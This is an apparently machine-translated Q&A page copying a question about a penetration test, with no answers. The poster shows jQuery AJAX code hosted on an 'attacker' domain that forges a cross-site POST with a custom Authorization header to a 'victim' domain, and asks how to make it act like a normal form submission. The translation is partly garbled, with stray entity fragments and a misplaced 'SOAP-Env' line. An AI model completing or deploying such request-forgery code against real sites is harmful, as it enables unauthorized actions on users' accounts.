Pentesting - 发送带有修改标头的POST请求

时间:2018-03-01 20:15:03

标签: javascript jquery ajax post

让我向你解释一下我正在做的笔试的情况:

www.victim.com 上有一个应用程序接受带有自定义标题的POST请求(例如:"授权" & #34;为XXXXX" )。我有一个域 www.attacker.com ,当访问(由#34;受害者")需要执行伪造上述POST请求的代码时,请将其发送到www.victim。 com并重新加载网页。正如您所看到的,行为是经典"形式":

的预期

攻击者网站上的代码(www.attacker.com):

<script>
    $(document).ready(function(){
        $("#myForm").submit(function(event){
            event.preventDefault(); //prevent default action 
            var post_url = $(this).attr("action"); 
            var request_method = $(this).attr("method");
            var form_data = $(this).serialize();

            $.ajax({
                url : post_url,
                headers: {
                       "Authorization": "xxxxxx",
                       "Accept-Language":"x_machine"
                },
                type: request_method,
                data : form_data
            });
        });
    });
  </script>

上一个方法的主要缺点是我无法在提交表单之前自定义请求的标头。这就是为什么我在提交表单之前尝试使用AJAX和JQuery修改标题的原因:

response.SOAP-Env:Envelope

此代码几乎有效!然而,响应由www.attacker.com解释,而不是按照预期由www.victim.com解释。之前提到的经典形式重新加载网页,并允许响应由www.victim.com解释。

最后,问题是:什么是魔法配方&#34;修改请求的标题并将其作为经典表单提交以允许响应由www.victim.com解释?

提前致谢!

0 个答案:

没有答案